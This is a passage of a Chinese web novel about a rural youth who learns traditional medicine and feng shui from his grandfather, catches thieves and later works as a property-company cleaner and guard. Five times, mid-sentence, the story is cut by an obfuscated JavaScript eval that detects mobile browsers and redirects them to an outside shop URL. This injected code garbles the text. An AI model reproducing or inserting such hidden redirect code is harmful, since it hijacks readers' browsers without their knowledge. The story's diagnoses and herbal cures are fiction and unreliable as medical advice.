《那些年干物业时遇到的奇葩事儿》 第一章 是块好料子 我叫吕向荣，老家在东北农村，在家排行老二，上面还有个姐姐。 我出生的时候正赶上国家推行一孩生育政策，我险些被爸妈“计划”掉。 为了庆祝家里添了男丁，我爸给我取名向荣，希望我长大后可以光宗耀祖，成就一番事业。 可是我不是块读书的料，坐那看书就困，写的字也是歪歪扭扭，我爸妈没少用我姐作为我的正面教材来鞭策我，可是基本没什么用。 因为我根本不喜欢看书写字、解数学题，我喜欢跑跑跳跳，喜欢跟村里的小孩一起下河捞鱼、上树掏鸟，讲哥们义气，好打抱不平。 我爸说我是淘气包子，每当我惹了祸，他都作势用鞋底子抽我屁股蛋子几下。 可我就从来没觉着过疼，长大后逐渐寻思明白了，他根本没舍得打我。 父母和我姐都很宠着我，我姐比我大五岁，有什么好吃的、好穿的，都先紧着我来。 家里虽然穷一点，但是爱是不缺的。 我上小学四年级的时候，我妈带我去城里的姥姥家，那是我第一次进城，第一次看到宽大的柏油马路，还有往来穿梭的汽车。 那个时候我就想着，总有一天，我要来城里生活，我觉得这里才是能光耀门楣的地方。 姥姥和姥爷一共有五个孩子，四个女儿、一个儿子，我妈排行老三。 在那个重男轻女的年代，排行在中间的女儿是不受待见的。 不过好在，我姥姥喜欢我妈，也许是因为对我妈的偏爱，对我也要比其他小辈好一些。 我姥爷是个老郎中，据说是得自他祖上的真传，他除了会把脉看病、下方子熬药以外，还会去给人家看看屋宅风水，很是得人心。 他们那个院子里的人看到我姥爷都毕恭毕敬的称呼他为“许老”，我觉得姥爷的工作很风光，第一次有了想要学一学的冲动。 有一天晚上吃完饭，我坐在小板凳上，听见姥爷和我妈说：“向荣这孩子跟我有缘，聪明机灵，是继承我衣钵的好料子。以后每年的寒暑假，你让他到我这里来，我一点点传授于他。” 然后又看着我问：“向荣，愿不愿意跟姥爷学本事啊？” 我那时候小，在我的概念里，“本事”就是像电视里的大侠一样，行侠仗义、济世救人，通过这些获得大家的尊重和爱戴。 “我愿意！”我很大声的回答姥爷。 “那好，从今往后你要好好学习，尤其是地理、自然科学，这些功课学好了，才能学好我的本事，知道吗？” “知道了！”我开心的看着我妈，迫切的希望她答应让我跟姥爷学。 我妈为难的看看姥爷，半天才说出一句：“爹，向荣是建国他们家唯一的男孩，建国一直想着让向荣考大学、出人头地。您说的这事我得回去和建国商量一下。” 说完又忐忑的看着姥爷。 不得不说，我妈那个年代的孩子对父母的尊敬那真是排第一的。 姥爷没说话，在家从父、出嫁从夫，姥爷理解。 回去的一路上我都没和我妈说话，我生气我妈没有答应让我跟姥爷学本事。 我妈也不理我，她知道我那些小九九。 快进村口了她才和我说：“向荣，你都跟我掉一路小脸子了，咋的回家想当着你爸面继续掉呗？你爸啥脾气你知道，你小心着点让他生气了，商量都没得商量！” 我思考着我妈说的话，觉得很有道理，这事如果想要我爸答应，那必须得顺着他来。 于是我破天荒的回到家第一件事拿书包，翻出书本学习。 我爸以为我进了一趟城，受到了繁华主义教育，嘿嘿的笑着跟我妈说：“我看啊，以后这城可以常进，这孩子蹦不出井底就永远不知道学习的重要性。” 我妈知道我搞什么猫腻，瞅瞅我没吱声。 我趁我爸不注意，偷偷的给我妈作揖，意思告诉她，一定要说服我爸，让儿子成了这事。 一连好几天都没动静，我把暑假作业的本子都写没了。 听着院子里知了嗷嗷的唱，我的心是真烦。 再这么下去没等到成事呢，就得先把我憋坏，小孩心就顾着眼前，我把书本一撇，又去河里摸鱼了。 那年下了好几场大雨，河水的水位比往年要高出好多，但是我们这些孩子都是常年在河边玩的，根本不理那些。 可就在我去摸鱼那天，出了事，村里赵叔家小胜子被水淹了。 一开始的时候我们七八个孩子在那玩，游泳的、摸鱼的、还有打水仗的，小胜子和我一伙，背对着背跟另一伙孩子打水仗。 我就感觉后背一哧溜，等我回头一看，除了几个水泡，什么都没见着。 于是我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158069|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个扎猛子寻找，有几个水性不好的孩子则回村里喊大人。 折腾了一夜，连个人影都没捞着。 后来村长报了警，又联络了水上救护的人来帮忙。 一直到了第二天晚上，救护队的人才用大钩子把小胜子的尸体钩上来。 小胜子的妈看着儿子的尸体哭天抢地，我们都站在隔离区远远的看着，心里既害怕又难受。 那是我第一次距离 死亡那么近，我记得小胜子的尸体被泡的发白，略微有些肿胀，铁钩子应该是钩的很深，但是却没看到血 一个活生生的人就这么没了，然而比我更恐惧的还数我爸妈。 当天晚上他们就答应了让我假期去城里跟姥爷学本事。 我知道他们是怕我这么疯跑，也会像小胜子一样遇到危险。 这事，算是我因祸得福吧，后来每到假期，我就去姥爷家，跟他学习中医，除了现场观摩，还会帮着抓药、熬药，姥爷对我的领悟能力和学习速度很满意。 说来也奇怪，平时一看书就困的我，看《黄帝内经》、《难经》、《金匮要略》、《宅经》这些书却是津津有味，甚至很多重点都能过目不忘。 姥爷还潜移默化的训练我沟通、揣摩人心的能力，以至于小小年纪的我，很会站在对方的角度考虑问题，还能针对问题想出解决办法，姥爷夸我“是块好料子”。 中医掌握的差不多的时候，我央求姥爷教我玄学，姥爷说，玄学的背后就是物理和地理，要把这些学问的基础逻辑先学明白才行。 于是我又开始钻研地理、物理等自然科学，上课时认真听讲，遇到不懂的就问，老师都夸我进步得快。 但是因为兴趣都在这些上，偏科严重，成绩没有见长，反倒有所下滑，读初中的时候，成绩考高中都费劲。 我爸因为这个勒令我哪都不许去，必须上高中，还说这是家里对我最低的要求。 其实那个时候我爸已经认命了，他和我妈商量好了，让我高中毕业就去当兵。 “没有有文化的头脑，就要有个不受欺负的体魄”，这是我爸的原话。 我必须得感谢我老爸的观念，当了三年兵，除了体魄得到了严格的训练之外，性格、生活习惯、还有对人对事的洞察力都得到了很好的锻炼。 让我在接下来的工作中屡建奇功。 第二章 擒拿小偷 退伍以后，我把国家给的补助交到爸妈手里，这算是我孝敬给父母的第一桶金。 看着父母日渐苍老的身体，我在心里暗暗发誓，一定要闯出个名堂来，让爸妈安享晚年。 然而那个时候，我除了一个高中文凭和三年的服兵役经历，什么找工作的资本都没有。 虽然跟姥爷学了很多年的中医和玄学，但是没有真正的用武之地。 姥爷临终前，将他这些年行走街里坊间的救治笔记留给了我，里面详细的记录了各种疑难杂症的解决办法，还有很多有代表性的风水案例，以及风水背后的科学解释。 姥爷告诉我风水的背后是科学，因为大部分人想听的都是他们能听懂、且愿意听的话，所以才有了那些玄学一套的解释。 这本书，我当做珍宝一样的珍藏着，一有空就拿出来翻看，我觉得这要比很多课本都实用。 因为我的学历不高，一直没有等到优先安置的就业机会。 一个大小伙子天天在家吃了睡、睡了吃，我实在待不下去了。 于是我决定去城里找工作，不再被动等待。 临行前，我姐特意从邻村的婆家赶回来送我。 她因为生孩子难产，流了很多血，姐夫家条件不咋样，也没给她调理好，所以她经常这疼那疼的，还不到30岁的人，虚得厉害。 我看到她来了，特意帮她把了把脉，“姐，你脉象细长、短涩，我给你写一个活血化瘀的方子，你去抓药熬了喝。可别不当回事，时间久了转成恶疾就更难治了。” “好！姐听你的。向荣啊，b城毕竟是省会，那里跟我们农村不一样，你可要收敛着点自己的脾气，千万别总是替人出头，知道吗？” 我妈听见我姐这么说，也在旁边点头，在她们心里，我的平安比让他们富有更重要。 我带着他们的关爱上了路，我妈大包小包的给我准备了很多干粮，我爸则是把我的行李卷儿马扎的紧紧实实，我姐更是一直送我到大巴车站。 我知道我必须混出点样儿来，也不枉此生做一回他们的亲人。 在部队的时候，我们班的班长刘才东在b市，我这次就是去投奔他。 路上我给他打了好几个电话，都没人接，发了信息也没给我回，“这老小子，这是不欢迎我去咋的。” 我胡乱的想着，迷糊的睡着了。 我是被一阵争吵声弄醒的，旁边位置的大哥说自己的钱包被偷了。 由于我们这趟车属于四个小时的长途，路上很多人都迷迷糊糊在睡觉，小偷应该是利用了这个契机，偷了钱包。 距离到站还有半个小时，这期间没有人下过车，钱包和贼一定都还在车上。 丢钱包的大哥发现的及时，一副厚厚的眼镜片后面是张焦急的脸。 “谁偷了我的钱包？我这钱是要给家人治病的钱啊！啊”他着急的捶胸顿足。 我看了看周围几个人，谁也不说话，丢钱大哥的座位靠着过道，也就是说刚才谁经过过，谁就有偷钱包的嫌疑。 现在让贼自己交待是不可能的，于是我站起身朝司机走去。 跟司机沟通了几句之后，我站在车厢里跟车上的人说：“各位爷们儿、姐们儿，车上这位大哥刚丢了钱包，这钱是要救治家里病人的。咱们这辆车是长途，小偷很有可能不只下这一次手，你们都看看自己的随身物品，还有没有丢东西的。” 人就是这样，事不关己高高挂起，一旦关系到自己的切身利益，那马上积极性就不一样了。 果然的，陆陆续续还有2、3个人喊起来，也是丢了钱包，都是靠过道的座位。 看来这个小偷还真有点本事，一下子偷了好几个，竟然快到目的地了都没被发现。 “要是这样的话，那就不能不去派出所了，咱们谁都别下车，司机现在就往派出所开，到时候让警察挨个搜一搜就清楚了。老少爷们儿，对不住了啊！” 我的话音刚落，被偷的几个乘客就都附和起来，“对，去派出所，谁也不能下车！” 这时候，一个姑娘喊了一声：“我娘病了，等着去医院看病呢！丢钱包重要还是人命重要？”说完还呜呜的哭上了。 一车人齐刷刷往后看，一个20左右岁的姑娘，旁边位置上坐了个老太太，头发花白的，一直低着头，好像在按着肚子。 有一些不愿意惹事的人也跟着起哄，“是啊，他们几个丢了钱包，要我们一车人耽误时间去派出所，我们的事不重要吗？” 我紧紧的盯着那个老太太，很奇怪，她的举动让我感到疑点重重。 首先自然是，哪一个站出来反对去派出所，哪一个就有重大嫌疑，但是看她们的样子，老弱妇孺，又不像。 可整个过程里，一直是那个小姑娘在吵吵、哭闹，老太太一声不吭的，这也太可疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158070|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 她们的位置就在我和眼镜大哥的后一排，眼镜大哥看看我、又看看哭的凶的小姑娘，不知该说什么好。 另外几个丢钱包的，可就没那么好说话了，“不行，车上有贼，谁也不能下车！” 两派人争执不下，司机没管这些，我看得出来，车已经改了路 线，应该是去派出所的路。 趁着这些人都没注意我的时候，我走到那对母女身边，那女孩在我炯炯目光的审视下，眼神开始躲闪。 我更加的确认了，她们肯定有问题。 “大娘，我是郎中，我帮你号号脉，说不定能帮你治好喽！”一边说我一边伸出手。 “嗯、嗯！”她一边躲我，一边含糊的拒绝。 那小姑娘不干了，“你干嘛？大白天的动手动脚吗？我看你才最应该去派出所，你就坐在他旁边，钱包说不定就是你偷的，你还贼喊捉贼！” “我？我如果偷了钱包了，我还主动让大家检查随身物品吗？而且这车去派出所，是我们全车人都不能下车，我怎么跑？”我觉得她的回怼很可笑。 眼镜大哥这时候说话了：“小兄弟，可能这大娘是真的难受，要不，先把她们放路边，让她们去医院吧。” “大哥，事情没查清楚之前，咱们不能妇人之仁。”我拒绝了他。 恰好看到了那个姑娘眼里快喷火的眼神，我更加确定，小偷就是她俩没差！ 我出其不意的抓住了那老太太的手腕，她没料到会被我这么一抓，张嘴就骂了一句：“d，你给我撒手！” 一个粗重的男音，车厢里的人都惊住了，全都往后看。 旁边的姑娘看着瞒不住了，亮出一把弹簧刀就朝我刺过来。 我心说太好了，退役之后正愁没地方施展呢，这回全都可以派上用场了。 我抓住老太太的手腕没有松，侧身躲过弹簧刀，趁着女的扑空的间隙，一脚踢在她后腰的穴位上，她应声倒地。 没等姑娘爬起来，老太太另一只手就朝我打来，我把抓他的手腕换成用手指按压他手腕处的外关穴，他停下攻击我的动作，嗷嗷叫起来。 眼镜大哥麻利的帮我擒住老太太，他一把扯下老太太的假发，原来真的是个男的。 我则制服住了女的。 经过这阵打斗，车上的人都不再吵着、各执己见了，大家意见一致，必须扭送派出所。 第三章 牛刀小试 从派出所出来的时候，天已经黑了，我背着行李，拎着大包小裹往外走，被眼镜大哥叫住。 “小兄弟、等一下。” 我站下回头看着他，问：“大哥还有什么事吗？” “我还没好好的谢谢你呢，今天多亏了你。我看你这行头，应该是从外地来的吧？这是我的名片，如果以后有什么需要，你来找我！”眼镜大哥特别诚恳的递给我一张名片。 我看名片上写着“某某物业公司，北方区经理，林皓”。 我把名片收起来，然后伸出手跟他握了握手，“我叫吕向荣，刚退伍没多久，没有什么名片。大哥不用这么客气，这是做好事，应该的。” 说完我转身就离开了，眼镜大哥也没再喊我。 刘才东一直没有给我回电话，我无处可去，只好去找招待所，准备对付一宿。 可是这一住，就等了一个多星期，眼见着带的钱要见底了，这刘才东搞什么鬼！ 我翻翻兜，就剩下一张林皓的名片，我已经出来了，就没有再打道回府的道理，联系一下林皓试试吧，先找个工作再说。 林皓很热情的接待了我，听我说了情况后，搓了搓手跟我说：“你赶的还蛮巧的，我们这里正好缺一个保洁员，你先顶一下，等我调配了人手，就把你调到保安岗。你看行不？” 我点头同意，然后又问：“林哥，咱们物业公司有宿舍吗？我得先解决住的问题。” “宿舍啊，这个楼盘是我们刚对接的，未来肯定会有。要不这样吧，你先来我家住几天。”林皓推了推眼镜征询我的意见。 “林哥，这多不好意思，我这么一个大小伙子住你家不方便啊。”我很不想给别人添麻烦。 “这有啥的，你也不是常住。等我们彻底接手之后，宿舍就有了，你随时可以搬去的。再说我们家，就只有我爸和我，我又经常出差到处走，不麻烦，没事！”林皓劝我。 我一看，也确实没有其它办法了，只好答应。 林皓的家属于城市新区，属于新城市户口落户房，平数在89—135左右，两居和三居室。地段看上去不错，房子也新，实际上却缺少花园景观，也缺少生活区，周围有很多小平房商业街，很吵闹。 四周车水马龙，东南方还有一家医院，因为停车车位紧张的问题，搞得门口水泄不通。 “林哥，这房子是你买的吗？”我惊诧于如此混乱的外部环境。 “哦，也不算，朋友的，暂住。我也打算买来着，还没选好位置。” 我俩边聊边进了电梯，林皓和我说，他爸自从搬进来就病了，那天坐车回来也是为了带他爸去看病，去医院住了几次院了，但总是好不利索。 “向荣，抓小偷的时候你说你懂看病，你帮我爸看看，到底是什么情况。” “林哥，我不懂医学啊，我只是了解一点中医理论、会熬药，但是我没给人看过病的。” “没事的，你就说说你的想法，我们现在确实是无计可施了。”林皓边开门边劝我。 林皓的父亲70多岁了，看到家里来了客人，躺在床上和我点头打招呼。 “大爷，我是林哥的同事，您好！”我走近床边，和他寒暄。 林皓这时候也走进来，“爸，他叫吕向荣，我的新同事。他懂一点中医，让他给你把把脉，看看你现在具体是什么问题。” 老人很听儿子的话，微笑着伸出手，他的胳膊又瘦又枯槁，看来这位老人被病痛折磨的不轻。 我给他摸了摸脉，肝脉弦大而数急，双寸脉浮大，最可怕的是双尺脉浮大而空。 我问他都有什么不舒服的症状，老人虚弱的说：“眩晕头痛，头重脚轻，有时候甚至会不自觉的跌倒，每走一步都感觉脚底下是空的，需要看着地面才敢踏脚。” “小吕同志，你说我能过去73岁这道坎儿吗？”林皓的爸爸问我。 我很诧异的看向林皓，询问他什么是73岁的坎儿。 林皓无奈的说：“我爸被这个病折磨的不行，就去找了个江湖术士给算，说是73岁有一道坎儿，而且断定在明年的开春难逃一劫。不仅在他那里求了符水回来喝，甚至不打算去医院治病了，买了江湖术士推荐的保健品，花了好几千块钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158071|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，却一点用都不顶！” 我一听，这是遇到骗子了，如果我直接回答他是与不是，或者给他解释科学，这老爷子未必相信，可能还会不配合治疗，莫不如用他关心的问题来解释一下诊脉结果会更好。 “大爷，您别担心，没什么大问题！他们之所以说你有道坎儿，是因为你的脉象表现为肝阳上亢、气血上壅，这是寸关脉的表现。冬季人体和天地的气机都应该是封藏的状态，您的尺脉却浮而空，正所谓“尺脉浮是，秋冬逢之堪可惊”。冬天都封不住，一旦进入立春之后，阳气升发，肾根就拔了，就危险了，所以才有这个说法。” 我看着老爷子听的很认真，又补充：“我给林哥写个方，熬点汤药给你喝。” “那你说说，为什么我没来这以前好好的，来这以后咋就病了？”老爷子又提问了，还是个很尖锐的问题。 正常来说，人随着年 纪的增长、身体机能的退化，都会出现这样那样的问题。 为了能让他信服，我选择说他想听的话。 “大爷，这楼盘东南方紧挨着医院，每天往来那么多生病或受伤的人群，车不好停、路面也拥挤不堪，而且这些人的情绪和能量大都是负面的，在这里住难免会焦躁，时间久了会影响运气和健康。这个小区楼和楼的间距过窄，就像被刀劈下来一样，不但影响居住者的运势，还会体弱多病，且难治愈。” 林皓的父亲听完以后频频点头，不住的嘱咐林皓要按照我写的方子抓药。 我给林皓写了一个一共15副药的方子，嘱咐了服用方法和禁忌。 林皓很相信我，按照我的嘱咐给他爸熬了汤药，我在他家一共住了半个月，这半个月他爸的症状每天都有好转。 我走以后，他又给他爸喝了30剂，所有的症状都消失了，身体恢复如初，至今健在。 林皓对我的医术佩服得五体投地，我越解释他就越觉得我是高人，索性我也不多说了。 打那以后，凡是遇到这一类的问题，他都会先问问我的意见。 我也成了他管辖的物业公司里面举足轻重的一员。 第四章 化解跳楼危机 刚到林皓所在的物业公司的时候，我是在锦绣小区干保洁。 锦绣小区里的业主情况比较复杂，有几栋是回迁房，拆迁分钱后不在这住的，就把房子往外出租出售，业主的流动性大，稳定的也偏老龄化。 我上岗后经常帮助业主解决各种问题，比如搬家、提菜、报修等。 因为我外形高大，当兵的经历又历练的热心、自律，小区业主对我的评价都很高。 林皓特别高兴招了我这么个“全能型”人才，我本身的低学历短板也被淡化。 可是刚从保洁调岗为保安，就出了事，而且在社会上的舆论影响还不小。 那天我正在巡逻岗，走完了地下停车场、各个楼层楼道，出了单元门要回保安岗亭的时候，就感觉头顶上“唿”的一下掉下来个东西，掉到地面的冲击力很大，发出沉闷的响声。 我惊叹着谁家大白天的从高处扔东西，紧跑两步到了近前，地上躺着的竟然是个头朝下、全身赤裸的女人！ 啊！有人跳楼了！现场没有流血，我赶紧拨打了120，然后脱下自己的衣服给她盖上。 伸手摸了一下鼻息，凉的，于是我又拨打了110。 我通过手台跟林皓汇报了情况，找了几个物业人员把现场给围住，抬头向楼上寻找着，是哪一家的业主呢？ 这一抬头不打紧，18楼的位置，挂着一个小孩，隐隐约约的能听见哭声。 快！救人！ 这时候警察也赶到了，我跟着两个警察上了18楼，这家的入户门虚掩着，我们很顺利的就进到屋内。 其中一个警察在外围保护现场，我和另一个警察跑到阳台。 那个小孩子的衣服钩在探出的空调架子上，也亏得是这样，不然她肯定也掉下去了。 我们小心翼翼的把孩子解救下来，小孩吓坏了，一直哇哇的哭。 警察初步怀疑孩子是跳楼的女业主先给扔下去的，然后她自己跟着一跃而下。 我感叹着跳楼的人得绝望成什么样，舍得把这么小的孩子给扔下去！ 好在这个三岁的小孩造化大，冥冥中自有天意。 小区里有人跳楼，很快就传遍了业主群，警察还没破案，各种猜测版本就产生了。 有的说这女的得了抑郁症，老公常年不着家，丧偶式婚姻，想不开就自杀了。 还有的说是婆媳关系不和，婆婆嫌弃儿媳妇生了个女娃，总是给脸色看，从孩子生下来到三岁，一手都没伸过，自己老公在她生女儿这件事上也有微词，于是一时想不开，跳了楼。 更有甚者编的那叫一个离谱，说这个女的是拐来的，被迫生的孩子，每天是非打即骂加虐待，女的不堪受辱，跳楼结束了生命 我翻看着业主群里的消息，感叹着这帮好事之徒真是唯恐天下不乱。 可是没几天，不良消息再次升级，跳楼的事情和几张偷拍的图片被传播到了网上，引发了一波舆论说跳楼的小区不吉利，跳楼死了的人属于冤魂，阳寿未尽，无法投胎 还说跳楼的女人没等到自己的孩子，一直不愿意走。 越传越邪乎，搞的小区的业主怨声载道，除了自己胆小害怕的，还影响了往外出租出售房产的，价格一降再降都无人问津。 物业接到好多业主投诉，说物业看管不力，导致现在租房的价格严重缩水。 正当我和林皓应接不暇时，17和19楼的业主来到物业神经兮兮的说，夜里总是听见18楼出事那个房间有动静，还说电梯也有问题。 林皓听完以后彻底吓住了，他觉得现在的状况彻底超出了他能解决的范围。 在他一筹莫展的时候，他上面的领导又把他批评了一顿，说他没有舆情敏感度，让这件事发酵到这么负面的程度。 林皓问我怎么办，有没有什么消减舆论的好办法？ 我想了想，“办法倒是有一个，不过，我需要物业的员工配合我。” 林皓眼睛一亮，“那必须配合，快说，什么办法？” 首先，我们以物业公司的名义发布了一条公告，公告里面对楼盘做了正名： 针对目前社会上流传的关于锦绣小区的诸多不实言论，物业公司特发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158072|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此公告做解释说明，小区楼盘四周有护城河环抱、后有秀丽的城市公园，前方开旷、景色秀美，四周没有奇形怪状的建筑物，周围没有寺庙、军警部门、火葬场、监狱。环境整洁优美，采光通风良好，祥和安静，说小区风水不好的流言纯属子虚乌有。 其次，跳楼事件的业主是因为个人家庭问题导致的轻生，物业在哀悼死者的同时，本着逝者安息的良好愿望，劝诫各位业主尊重逝者，不要再进行恶意评论。 良好的居住环境除了靠物业公司细致入微的服务以外，还要靠广大业主共同维护。请全体业主保持积极健康的生活心态，物业会给业主提供坚实的后方保障。 我还带着保洁和工程人员，在园区里做了为期一周的绿化维护，该种植物的补种，该修剪的修剪，整体环境立刻有了焕然一新的改变。 业主群里沸腾了，网上的帖子下面有了很多正向的评论，尤其是小区地理环境的介绍，竟 然还带动了租售。 林皓喜滋滋的看着我，“向荣呀，你就是我的贵人啊！这件事办的太漂亮了！” 我心里也高兴，觉得自己没白跟姥爷学。 “舆论现在是转了风向了，闹鬼的事咋办？”林皓又问我。 “林哥，我这几天特意在监控室连续值班，没事的时候也去18楼转悠，确实没有任何异常。再说，咱们都是受过正规教育的，咋的，你还封建迷信、还真相信有鬼啊？” 他皱着眉头看着我说：“向荣，我肯定是不封建迷信的，但是你说，现在这两家业主就不依不饶的，万一他们再出去乱说，咱们之前做的工作不就前功尽弃了吗？你不帮我，我怎么办？你知道的，我就是一个老实本分的物业经理。”他抱怨。 “林哥，看你说的，好像我不是一个老实本分的物业保安一样！”我抱冤。 “你在这些领域肯定是比我有资源啊，看看能不能找个明白人，来给搞一搞，让他们看见确实没事，要不然这两家就没完没了，舆论的力量我们可不能不当回事。”他坚持。 我瞪大眼睛看着他，后者也在眼镜片后面盯着我。 第五章 师哥王敬之 也罢，不光是为了帮他，这小区我也是付出了自己的全部身心在管理的，既然有这种风言风语，那就不能漠然置之，找个明白人问问吧。 我在自己的手机通讯录里翻找了好几遍，一个名字跃入眼帘。 找我师哥王敬之！ 其实说是师哥，但他是在我之后跟我姥爷拜师学艺的。姥爷看他年纪比我大，就让我管他叫师哥。 不过话说回来，这小子领悟能力确实很强，跟我一样也是学习不咋地，甚至还不如我，但是姥爷教的那些本领他学的比我精，最主要的，他会举一反三。 离开姥爷前一年，他还无师自通的搞起了国学文化研究，尤其热衷于周朝易经背后的建筑学发展脉络研究，姥爷并不阻止。 姥爷就一个要求：不能辱没师名，不能为非作歹。 王敬之始终认为风水建筑学背后的科学道理才是其核心和根本，说出的理论也是一套一套的，在玄学灵异方面，他还有一个斩妖除魔、行侠仗义的理想。 我参军以后，就和师哥断了联系，也不知道这家伙现在在哪工作呢，给他打个电话试一试。 电话没响几声就接了，还没等我说话，那边就直接怼开了，“哎，我说吕向荣，你小子是不是把你师哥忘了？这都快三年了，你才知道跟我问安，是不？” 我哑然失笑，这家伙一点没变，还是一副“爱谁谁”的个性。 “师哥，我家不比你家啊，我老爸勒令我必须参军，不能直接就业，你说我咋整。再说了，我家穷，你也不是不知道，我这不也想着锻炼锻炼，以后报孝父母嘛！” “得得得，你可别和我来这套煽情的，找我是不是有事？说吧，别人的事我不管，你要是有事，我还真得看看，嘿嘿嘿！” 他贼兮兮的一笑，我就明白，这家伙跟我姥爷学习的时候就总把我当假想敌，做事一定要超过我、要比我强，现在还是这样，没改。 我不禁想，他要是知道我姥爷把毕生珍藏传给了我，会作何感想。 “师哥，你现在在哪高就呢？在不在 b 城？”我先问问他的方位，太远的话，解决不了近渴。 “我在 b 城呢，你小子也来了？” 太好了！真是天助我也。 “师哥，看来这真是缘分，有件事还真得你出马。”于是我把跳楼这件事的始末告诉了他，并邀请他来给勘察勘察。 “你小子几年没见咋还封建迷信了呢？有没有你不知道啊，还要找我去唬人！”王敬之故意给我下套。 “师哥，我可是行伍出身，最不能干的事儿就是唬人。我这不是因为跟我姥爷学本事的时候没像你一样会举一反三嘛，你来帮我看看，镇镇场子。” 我知道只要我一表示示弱和谦虚，王敬之肯定受用，可是他又开始了推诿三部曲。 纠缠半天未果后，我明白，每当这个时候，我就得动真格的了。 “师哥，来吧，做师弟的这么多年没见你，也挺想你的，你来了，我带你吃点好的，再给你买点穿的用的，来吧！勘不勘察的那都是次要的。” “算你小子有良心，给我发个位置吧，我晚上到哪。” 我就知道他该答应了。撂下电话，我和林皓说了这件事，然后告诉林皓，事情如果办成了，务必要给王敬之吃喝表示，人家可不白帮人的。 林皓欣然应允，“那是必然的，我懂、我懂！” 下午我去了趟派出所，决定先把跳楼那个女业主的死亡原因问明白。 找到了负责案子的警察，我表明来意，并跟警察说了现在这件事对居民的影响，警察觉得弄得过于神秘，让其他业主瞎猜，也不利于安定，于是和我说了始末。 原来，跳楼的女业主老公没事就喝酒，喝多了就打她，下手又重又狠。 一开始的时候她选择隐忍，自己家远在南方，一个人嫁到这么远，身边也没个人照应。后来她怀孕生了孩子，可是这男人不但没因为有了孩子而改变，反倒更加的肆无忌惮。事发当天，他老公当着三岁孩子的面对她实施了家暴，然后摔门而去。 警察推测她因为女儿看到了过程，自己又无法改变这样的生活，于是选择了轻生。 案件过程复原后，警察对死者的老公提出了公诉，要求其承担家暴的法律责任。 原来如此，也是个可怜人，回来的路上，我把这件事的经过发给了师哥。 王敬之很守时，我在园区门口迎接他的时候，差不点没认出来。这家伙年龄比我还大几岁，但是穿着打扮新潮的跟 20 出头的毛头小伙似的。 “师哥，好久不见！”我走过去给了他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158073|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个拥抱。 “哎！你小子，黑壮黑壮的，这兵饭没白吃啊！”他笑哈哈的捶着我的肩膀。 我俩寒暄着来到物业办公室，我给他引荐了林皓，“这是林哥，我们物业的负责人。林哥，这是我师哥王敬之。” “你好，很荣幸认识你啊！今天这件事要拜托你了！”林皓跟王敬之握了握手，然后又双手合十的感谢王敬之的帮忙。 王敬之神情严肃的说：“林经理，其实我们都心知肚明，这两家业主是小题大做，但是 逝者为大，我可以按照民间习俗做些拜座、进表，希望他们知道以后可以落个心安，不再找你们麻烦。” 林皓疑惑的问：“敬之说的民间习俗是？” “这个说来话长，就单纯对自杀这样的事情来讲，对死去的人应持尊重的态度，强调生命的神圣性。”王敬之给与解释。 我还真没成想，才几年未见，我这小师哥的思想境界竟然有了这么大的提高，看向他的眼神不自觉的肃然起敬。 王敬之瞄了瞄我，嘴角有一丝得意。 我知道他的意思是说，“看着了吧，叫师哥不亏。”我顺杆给他竖了竖大拇指。 “可是，咱们要怎么做呢？还得让他们看到了放心，还不能大肆宣扬，以免好事之人说我们搞封建迷信。”林皓又为难了。 